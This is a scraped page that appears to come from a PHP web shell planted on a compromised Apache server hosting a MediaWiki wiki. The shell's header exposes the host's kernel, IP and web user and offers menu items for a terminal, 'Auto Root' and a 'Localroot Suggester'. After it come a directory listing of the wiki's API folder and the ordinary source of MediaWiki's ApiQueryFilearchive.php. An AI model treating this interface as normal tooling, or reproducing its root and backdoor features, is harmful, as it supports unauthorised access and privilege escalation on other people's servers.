Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
wiki.bernardino.org /
includes /
api /
Delete
Unzip
Name
Size
Permission
Date
Action
i18n
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
ApiAMCreateAccount.php
4.17
KB
-rw-r--r--
2016-11-28 20:20
ApiAuthManagerHelper.php
12.14
KB
-rw-r--r--
2016-11-28 20:20
ApiBase.php
84.45
KB
-rw-r--r--
2016-11-28 20:20
ApiBlock.php
5.16
KB
-rw-r--r--
2016-11-28 20:20
ApiCSPReport.php
6.34
KB
-rw-r--r--
2016-11-28 20:20
ApiChangeAuthenticationData.php
2.95
KB
-rw-r--r--
2016-11-28 20:20
ApiCheckToken.php
2.24
KB
-rw-r--r--
2016-11-28 20:20
ApiClearHasMsg.php
1.62
KB
-rw-r--r--
2016-11-28 20:20
ApiClientLogin.php
4.39
KB
-rw-r--r--
2016-11-28 20:20
ApiComparePages.php
3.51
KB
-rw-r--r--
2016-11-28 20:20
ApiContinuationManager.php
8.03
KB
-rw-r--r--
2016-11-28 20:20
ApiDelete.php
6.38
KB
-rw-r--r--
2016-11-28 20:20
ApiDisabled.php
1.42
KB
-rw-r--r--
2016-11-28 20:20
ApiEditPage.php
18.94
KB
-rw-r--r--
2016-11-28 20:20
ApiEmailUser.php
2.79
KB
-rw-r--r--
2016-11-28 20:20
ApiErrorFormatter.php
9.31
KB
-rw-r--r--
2016-11-28 20:20
ApiExpandTemplates.php
7.05
KB
-rw-r--r--
2016-11-28 20:20
ApiFeedContributions.php
6.51
KB
-rw-r--r--
2016-11-28 20:20
ApiFeedRecentChanges.php
5.32
KB
-rw-r--r--
2016-11-28 20:20
ApiFeedWatchlist.php
8.96
KB
-rw-r--r--
2016-11-28 20:20
ApiFileRevert.php
3.86
KB
-rw-r--r--
2016-11-28 20:20
ApiFormatBase.php
8.3
KB
-rw-r--r--
2016-11-28 20:20
ApiFormatDbg.php
1.77
KB
-rw-r--r--
2010-12-22 21:52
ApiFormatDump.php
1.79
KB
-rw-r--r--
2011-01-10 23:36
ApiFormatFeedWrapper.php
3.51
KB
-rw-r--r--
2016-11-28 20:20
ApiFormatJson.php
3.86
KB
-rw-r--r--
2016-11-28 20:20
ApiFormatNone.php
1.07
KB
-rw-r--r--
2016-11-28 20:20
ApiFormatPhp.php
2.47
KB
-rw-r--r--
2016-11-28 20:20
ApiFormatRaw.php
3.02
KB
-rw-r--r--
2016-11-28 20:20
ApiFormatTxt.php
1.75
KB
-rw-r--r--
2010-12-22 21:52
ApiFormatWddx.php
4.07
KB
-rw-r--r--
2010-12-22 21:52
ApiFormatXml.php
8.96
KB
-rw-r--r--
2016-11-28 20:20
ApiFormatYaml.php
1.37
KB
-rw-r--r--
2011-04-18 13:42
ApiHelp.php
26.17
KB
-rw-r--r--
2016-11-28 20:20
ApiHelpParamValueMessage.php
1.95
KB
-rw-r--r--
2016-11-28 20:20
ApiImageRotate.php
5.19
KB
-rw-r--r--
2016-11-28 20:20
ApiImport.php
4.95
KB
-rw-r--r--
2016-11-28 20:20
ApiLinkAccount.php
3.83
KB
-rw-r--r--
2016-11-28 20:20
ApiLogin.php
9.22
KB
-rw-r--r--
2016-11-28 20:20
ApiLogout.php
2.04
KB
-rw-r--r--
2016-11-28 20:20
ApiMain.php
55.81
KB
-rw-r--r--
2016-11-28 20:20
ApiManageTags.php
3.24
KB
-rw-r--r--
2016-11-28 20:20
ApiMergeHistory.php
3.75
KB
-rw-r--r--
2016-11-28 20:20
ApiMessage.php
5.64
KB
-rw-r--r--
2016-11-28 20:20
ApiModuleManager.php
8.31
KB
-rw-r--r--
2016-11-28 20:20
ApiMove.php
7.22
KB
-rw-r--r--
2016-11-28 20:20
ApiOpenSearch.php
11.74
KB
-rw-r--r--
2016-11-28 20:20
ApiOptions.php
5.25
KB
-rw-r--r--
2016-11-28 20:20
ApiPageSet.php
44.37
KB
-rw-r--r--
2016-11-28 20:20
ApiParamInfo.php
14.88
KB
-rw-r--r--
2016-11-28 20:20
ApiParse.php
26.07
KB
-rw-r--r--
2016-11-28 20:20
ApiPatrol.php
2.99
KB
-rw-r--r--
2016-11-28 20:20
ApiProtect.php
5.54
KB
-rw-r--r--
2016-11-28 20:20
ApiPurge.php
5.83
KB
-rw-r--r--
2016-11-28 20:20
ApiQuery.php
17.13
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryAllCategories.php
5.79
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryAllDeletedRevisions.php
14.65
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryAllImages.php
11.64
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryAllLinks.php
8.69
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryAllMessages.php
7.26
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryAllPages.php
9.65
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryAllRevisions.php
8.78
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryAllUsers.php
11.5
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryAllimages.php
8.42
KB
-rw-r--r--
2011-11-28 16:52
ApiQueryAllmessages.php
7.59
KB
-rw-r--r--
2011-11-28 16:52
ApiQueryAllpages.php
10.24
KB
-rw-r--r--
2011-11-28 16:52
ApiQueryAuthManagerInfo.php
4.11
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryBacklinks.php
17.24
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryBacklinksprop.php
12.31
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryBase.php
17.33
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryBlocks.php
10.29
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryCategories.php
6.53
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryCategoryInfo.php
3.29
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryCategoryMembers.php
11.99
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryContributors.php
7.5
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryDeletedRevisions.php
9.64
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryDeletedrevs.php
16.42
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryDisabled.php
1.4
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryDuplicateFiles.php
5.38
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryExtLinksUsage.php
5.94
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryExternalLinks.php
3.79
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryFileRepoInfo.php
3.2
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryFilearchive.php
9.18
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryGeneratorBase.php
3.27
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryIWBacklinks.php
5.62
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryIWLinks.php
5.12
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryImageInfo.php
25.98
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryImages.php
4.88
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryInfo.php
27.38
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryLangBacklinks.php
5.55
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryLangLinks.php
5.44
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryLinks.php
6.63
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryLogEvents.php
14.02
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryMyStashedFiles.php
4.04
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryPagePropNames.php
2.96
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryPageProps.php
3.13
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryPagesWithProp.php
4.84
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryPrefixSearch.php
3.63
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryProtectedTitles.php
6.83
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryQueryPage.php
4.6
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryRandom.php
6.56
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryRecentChanges.php
21.5
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryRevisions.php
14.46
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryRevisionsBase.php
15.64
KB
-rw-r--r--
2016-11-28 20:20
ApiQuerySearch.php
10.87
KB
-rw-r--r--
2016-11-28 20:20
ApiQuerySiteinfo.php
26.94
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryStashImageInfo.php
4.25
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryTags.php
4.93
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryTokens.php
4
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryUserContributions.php
17.06
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryUserInfo.php
9.93
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryUsers.php
10.21
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryWatchlist.php
15.41
KB
-rw-r--r--
2016-11-28 20:20
ApiQueryWatchlistRaw.php
5.74
KB
-rw-r--r--
2016-11-28 20:20
ApiRemoveAuthenticationData.php
3.29
KB
-rw-r--r--
2016-11-28 20:20
ApiResetPassword.php
3.89
KB
-rw-r--r--
2016-11-28 20:20
ApiResult.php
36.21
KB
-rw-r--r--
2016-11-28 20:20
ApiRevisionDelete.php
6.42
KB
-rw-r--r--
2016-11-28 20:20
ApiRollback.php
6.02
KB
-rw-r--r--
2016-11-28 20:20
ApiRsd.php
4.71
KB
-rw-r--r--
2016-11-28 20:20
ApiSerializable.php
1.55
KB
-rw-r--r--
2016-11-28 20:20
ApiSetNotificationTimestamp.php
7.01
KB
-rw-r--r--
2016-11-28 20:20
ApiStashEdit.php
15.04
KB
-rw-r--r--
2016-11-28 20:20
ApiTag.php
4.6
KB
-rw-r--r--
2016-11-28 20:20
ApiTokens.php
3.11
KB
-rw-r--r--
2016-11-28 20:20
ApiUnblock.php
3.52
KB
-rw-r--r--
2016-11-28 20:20
ApiUndelete.php
3.9
KB
-rw-r--r--
2016-11-28 20:20
ApiUpload.php
30.6
KB
-rw-r--r--
2016-11-28 20:20
ApiUserrights.php
3.92
KB
-rw-r--r--
2016-11-28 20:20
ApiWatch.php
5.3
KB
-rw-r--r--
2016-11-28 20:20
SearchApi.php
6.16
KB
-rw-r--r--
2016-11-28 20:20
Save
Rename
<?php /** * API for MediaWiki 1.12+ * * Created on May 10, 2010 * * Copyright © 2010 Sam Reed * Copyright © 2008 Vasiliev Victor vasilvv@gmail.com, * based on ApiQueryAllPages.php * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * http://www.gnu.org/copyleft/gpl.html * * @file */ /** * Query module to enumerate all deleted files. * * @ingroup API */ class ApiQueryFilearchive extends ApiQueryBase { public function __construct( ApiQuery $query, $moduleName ) { parent::__construct( $query, $moduleName, 'fa' ); } public function execute() { $user = $this->getUser(); // Before doing anything at all, let's check permissions if ( !$user->isAllowed( 'deletedhistory' ) ) { $this->dieUsage( 'You don\'t have permission to view deleted file information', 'permissiondenied' ); } $db = $this->getDB(); $params = $this->extractRequestParams(); $prop = array_flip( $params['prop'] ); $fld_sha1 = isset( $prop['sha1'] ); $fld_timestamp = isset( $prop['timestamp'] ); $fld_user = isset( $prop['user'] ); $fld_size = isset( $prop['size'] ); $fld_dimensions = isset( $prop['dimensions'] ); $fld_description = isset( $prop['description'] ) || isset( $prop['parseddescription'] ); $fld_mime = isset( $prop['mime'] ); $fld_mediatype = isset( $prop['mediatype'] ); $fld_metadata = isset( $prop['metadata'] ); $fld_bitdepth = isset( $prop['bitdepth'] ); $fld_archivename = isset( $prop['archivename'] ); $this->addTables( 'filearchive' ); $this->addFields( ArchivedFile::selectFields() ); $this->addFields( [ 'fa_id', 'fa_name', 'fa_timestamp', 'fa_deleted' ] ); $this->addFieldsIf( 'fa_sha1', $fld_sha1 ); $this->addFieldsIf( [ 'fa_user', 'fa_user_text' ], $fld_user ); $this->addFieldsIf( [ 'fa_height', 'fa_width', 'fa_size' ], $fld_dimensions || $fld_size ); $this->addFieldsIf( 'fa_description', $fld_description ); $this->addFieldsIf( [ 'fa_major_mime', 'fa_minor_mime' ], $fld_mime ); $this->addFieldsIf( 'fa_media_type', $fld_mediatype ); $this->addFieldsIf( 'fa_metadata', $fld_metadata ); $this->addFieldsIf( 'fa_bits', $fld_bitdepth ); $this->addFieldsIf( 'fa_archive_name', $fld_archivename ); if ( !is_null( $params['continue'] ) ) { $cont = explode( '|', $params['continue'] ); $this->dieContinueUsageIf( count( $cont ) != 3 ); $op = $params['dir'] == 'descending' ? '<' : '>'; $cont_from = $db->addQuotes( $cont[0] ); $cont_timestamp = $db->addQuotes( $db->timestamp( $cont[1] ) ); $cont_id = (int)$cont[2]; $this->dieContinueUsageIf( $cont[2] !== (string)$cont_id ); $this->addWhere( "fa_name $op $cont_from OR " . "(fa_name = $cont_from AND " . "(fa_timestamp $op $cont_timestamp OR " . "(fa_timestamp = $cont_timestamp AND " . "fa_id $op= $cont_id )))" ); } // Image filters $dir = ( $params['dir'] == 'descending' ? 'older' : 'newer' ); $from = ( $params['from'] === null ? null : $this->titlePartToKey( $params['from'], NS_FILE ) ); $to = ( $params['to'] === null ? null : $this->titlePartToKey( $params['to'], NS_FILE ) ); $this->addWhereRange( 'fa_name', $dir, $from, $to ); if ( isset( $params['prefix'] ) ) { $this->addWhere( 'fa_name' . $db->buildLike( $this->titlePartToKey( $params['prefix'], NS_FILE ), $db->anyString() ) ); } $sha1Set = isset( $params['sha1'] ); $sha1base36Set = isset( $params['sha1base36'] ); if ( $sha1Set || $sha1base36Set ) { $sha1 = false; if ( $sha1Set ) { $sha1 = strtolower( $params['sha1'] ); if ( !$this->validateSha1Hash( $sha1 ) ) { $this->dieUsage( 'The SHA1 hash provided is not valid', 'invalidsha1hash' ); } $sha1 = Wikimedia\base_convert( $sha1, 16, 36, 31 ); } elseif ( $sha1base36Set ) { $sha1 = strtolower( $params['sha1base36'] ); if ( !$this->validateSha1Base36Hash( $sha1 ) ) { $this->dieUsage( 'The SHA1Base36 hash provided is not valid', 'invalidsha1base36hash' ); } } if ( $sha1 ) { $this->addWhereFld( 'fa_sha1', $sha1 ); } } // Exclude files this user can't view. if ( !$user->isAllowed( 'deletedtext' ) ) { $bitmask = File::DELETED_FILE; } elseif ( !$user->isAllowedAny( 'suppressrevision', 'viewsuppressed' ) ) { $bitmask = File::DELETED_FILE | File::DELETED_RESTRICTED; } else { $bitmask = 0; } if ( $bitmask ) { $this->addWhere( $this->getDB()->bitAnd( 'fa_deleted', $bitmask ) . " != $bitmask" ); } $limit = $params['limit']; $this->addOption( 'LIMIT', $limit + 1 ); $sort = ( $params['dir'] == 'descending' ? ' DESC' : '' ); $this->addOption( 'ORDER BY', [ 'fa_name' . $sort, 'fa_timestamp' . $sort, 'fa_id' . $sort, ] ); $res = $this->select( __METHOD__ ); $count = 0; $result = $this->getResult(); foreach ( $res as $row ) { if ( ++$count > $limit ) { // We've reached the one extra which shows that there are // additional pages to be had. Stop here... $this->setContinueEnumParameter( 'continue', "$row->fa_name|$row->fa_timestamp|$row->fa_id" ); break; } $file = []; $file['id'] = (int)$row->fa_id; $file['name'] = $row->fa_name; $title = Title::makeTitle( NS_FILE, $row->fa_name ); self::addTitleInfo( $file, $title ); if ( $fld_description && Revision::userCanBitfield( $row->fa_deleted, File::DELETED_COMMENT, $user ) ) { $file['description'] = $row->fa_description; if ( isset( $prop['parseddescription'] ) ) { $file['parseddescription'] = Linker::formatComment( $row->fa_description, $title ); } } if ( $fld_user && Revision::userCanBitfield( $row->fa_deleted, File::DELETED_USER, $user ) ) { $file['userid'] = (int)$row->fa_user; $file['user'] = $row->fa_user_text; } if ( $fld_sha1 ) { $file['sha1'] = Wikimedia\base_convert( $row->fa_sha1, 36, 16, 40 ); } if ( $fld_timestamp ) { $file['timestamp'] = wfTimestamp( TS_ISO_8601, $row->fa_timestamp ); } if ( $fld_size || $fld_dimensions ) { $file['size'] = $row->fa_size; $pageCount = ArchivedFile::newFromRow( $row )->pageCount(); if ( $pageCount !== false ) { $file['pagecount'] = $pageCount; } $file['height'] = $row->fa_height; $file['width'] = $row->fa_width; } if ( $fld_mediatype ) { $file['mediatype'] = $row->fa_media_type; } if ( $fld_metadata ) { $file['metadata'] = $row->fa_metadata ? ApiQueryImageInfo::processMetaData( unserialize( $row->fa_metadata ), $result ) : null; } if ( $fld_bitdepth ) { $file['bitdepth'] = $row->fa_bits; } if ( $fld_mime ) { $file['mime'] = "$row->fa_major_mime/$row->fa_minor_mime"; } if ( $fld_archivename && !is_null( $row->fa_archive_name ) ) { $file['archivename'] = $row->fa_archive_name; } if ( $row->fa_deleted & File::DELETED_FILE ) { $file['filehidden'] = true; } if ( $row->fa_deleted & File::DELETED_COMMENT ) { $file['commenthidden'] = true; } if ( $row->fa_deleted & File::DELETED_USER ) { $file['userhidden'] = true; } if ( $row->fa_deleted & File::DELETED_RESTRICTED ) { // This file is deleted for normal admins $file['suppressed'] = true; } $fit = $result->addValue( [ 'query', $this->getModuleName() ], null, $file ); if ( !$fit ) { $this->setContinueEnumParameter( 'continue', "$row->fa_name|$row->fa_timestamp|$row->fa_id" ); break; } } $result->addIndexedTagName( [ 'query', $this->getModuleName() ], 'fa' ); } public function getAllowedParams() { return [ 'from' => null, 'to' => null, 'prefix' => null, 'dir' => [ ApiBase::PARAM_DFLT => 'ascending', ApiBase::PARAM_TYPE => [ 'ascending', 'descending' ] ], 'sha1' => null, 'sha1base36' => null, 'prop' => [ ApiBase::PARAM_DFLT => 'timestamp', ApiBase::PARAM_ISMULTI => true, ApiBase::PARAM_TYPE => [ 'sha1', 'timestamp', 'user', 'size', 'dimensions', 'description', 'parseddescription', 'mime', 'mediatype', 'metadata', 'bitdepth', 'archivename', ], ApiBase::PARAM_HELP_MSG_PER_VALUE => [], ], 'limit' => [ ApiBase::PARAM_DFLT => 10, ApiBase::PARAM_TYPE => 'limit', ApiBase::PARAM_MIN => 1, ApiBase::PARAM_MAX => ApiBase::LIMIT_BIG1, ApiBase::PARAM_MAX2 => ApiBase::LIMIT_BIG2 ], 'continue' => [ ApiBase::PARAM_HELP_MSG => 'api-help-param-continue', ], ]; } protected function getExamplesMessages() { return [ 'action=query&list=filearchive' => 'apihelp-query+filearchive-example-simple', ]; } public function getHelpUrls() { return 'https://www.mediawiki.org/wiki/API:Filearchive'; } }